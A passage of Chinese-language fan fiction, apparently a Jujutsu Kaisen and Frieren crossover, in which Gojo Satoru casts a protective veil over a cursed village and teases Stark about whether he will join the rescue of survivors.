“你听到村里的人声,看到做饭的炊烟了吗?”五条悟的声音在休塔尔克耳畔炸开,明明说话声不大,却让休塔尔克的心停拍了一秒。
休塔尔克:!
轰动——
忽然,碎石砖块在他们眼皮子底下飞落出来。
动静很大,惹得鸡鸭逃窜,牛羊狂叫,猫犬呜咽,可是一片混乱里,唯独没有人声。
压迫感陡然增强,死亡的气息加重……
不要啊,怎么更加瘆人了的。
休塔尔克抖了抖。
他忽然想起他曾经经过的小镇,居民口中的神鬼传说。
这该不会是,吃人的幽灵吧。
一旁五条悟往大动静产生的地方看去,那原本逗小孩一样的轻松面容,陡然变得严肃起来。
“看来它已等不及,狩猎,开始了。”
“狩猎?”
休塔尔克屏住呼吸,他感受到一股重压,愈演愈烈。
“那是【生得领域】,咒灵的【生得领域】。”五条悟漫不经心地解释道,“啊,咒灵就是恶念的诅咒。”
“生得领域?”
一个没听说过的词汇。
“唔,你或许可以理解成一个能量场,或者是野兽标记过的所有地盘。”五条悟道,他说,“即使是看不见咒灵的普通人,误入到领域里也会看到这些家伙,化作它们的美味。”
“所以为了防止普通人误入进来,我们一般会这么做。”他笑着道。
什么,怎么做?
休塔尔克抬头看他。
“由暗而生,”五条悟双指合拢,笔直地伸出,抵着朝上,口中低念,“暗中至暗。”*
“污浊残秽,尽数祓除!”*
嗡——
休塔尔克抬起头。
天空出现黑色的斑点,它如泼墨般蔓延,流下。
“天,似乎变黑了。”休塔尔克喃喃。
黑色进一步扩大,最后变成一个托盘弧罩的形状,彻底把此地覆盖。
什么东西啊,休塔尔克忽然有了一种自己被困起来的不适感。
.“这就
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是【帐】,”五条悟重新双手插兜,“虽然不是很想打开,但是确实有点用。”
“不会让普通人接触这里,同时还能吸引咒灵出来。”他说,“在根除已经充满整个村庄的顽毒方面是有奇效的哦。”
可恶,这种要死人的危急关头怎么还是那么轻松的解说口吻啊喂。
休塔尔克忍不住半月眼。
“走吧,去救出幸存者。”五条悟可不管他的小表情,一挥手,精力饱满地指挥着。
“是!”
“很好,很有精神。”五条悟给出双手大拇指赞。
“嘿嘿。”休塔尔克摸摸后脑勺,忽然,挠头的手一顿。
……不对,很不对劲的好吧,为什么他要这么自然地顺着命令走啊。
休塔尔克差点被带沟子里,他猛得用力甩甩头,试图让自己清醒一点。
就在这时,五条悟已经拉起休塔尔克那斜着束缚外套的绑带,准备往里拖行。
“等等等等,不对啊,我好像之前还没有说过要帮你救人吧?”
休塔尔克在即将被拖行的前一秒跳开,他警惕地望着五条悟,双手呈现一种提防姿态。
“啊嘞,你是害怕了,不想去吗?”五条悟挑眉。
“当然怕,这种事谁会不害怕啊。”休塔尔克毫不犹豫,大声而坦然地说出了怂怂的话,“这可是死人,会死人的事情欸!”
“但是我还是会去的,”边说着,休塔尔克边大跨步往里走,很快超过了五条悟,在擦肩而过时,他认真道,“我只是希望,这是我自己决定的意志。”
而不是他人拖拽的被动。
五条悟闻言,站在原地,若有所思。
思考时间稍微长了些,大概有五秒。此时此刻,休塔尔克已经走出去有一段距离了。
嗯,感觉是个有资质有正义感的学生……
但是,五条悟敏锐地发现,休塔尔克向前的步伐似乎越来越慢,越来越慢,最后甚至直接停了下来。
然后他站在那儿不动了。
休塔尔克转过头,话语里带着些许不易察觉的异样:“那个,你也是会和我一起去的,是吧?”
有趣。
五条悟好像隐隐约约意识到少年是个什么性格了,在这一瞬间,他的恶趣味属性大爆发。
“虽然一开始是去的,但是既然都已经有了帮助者的话——”五条悟故意拉长了语调,慢悠悠把双手背在脑后,盯着休塔尔克的身影,故作随意,不紧不慢道,“那我就不去咯~反正任务只是要求有人来处理,我们谁去都一样嘛,放心,我会找外界申请你的临时加入补偿哦。”
“要加油啊,小伙子!”顺便还比了个fighting的手势。
休塔尔克:!
听清楚五条悟意思的他一下子从地面上跳了起来,蹦得还挺高的。
“这种人命关天的事情,你怎么可以就这样轻易放弃啊!”
“而且就这样交给一个陌生人也太不靠谱了点吧,明明是你的任务。”休塔尔克惊讶地瞪大了眼睛,同时大声说道,字字铿锵有力,“虽然我是肯定要去的,但最好还是得旁边有人在旁辅助不是么。”
“或者,或者至少你也得帮我点忙,在一旁把我的尸体给带回去吧!”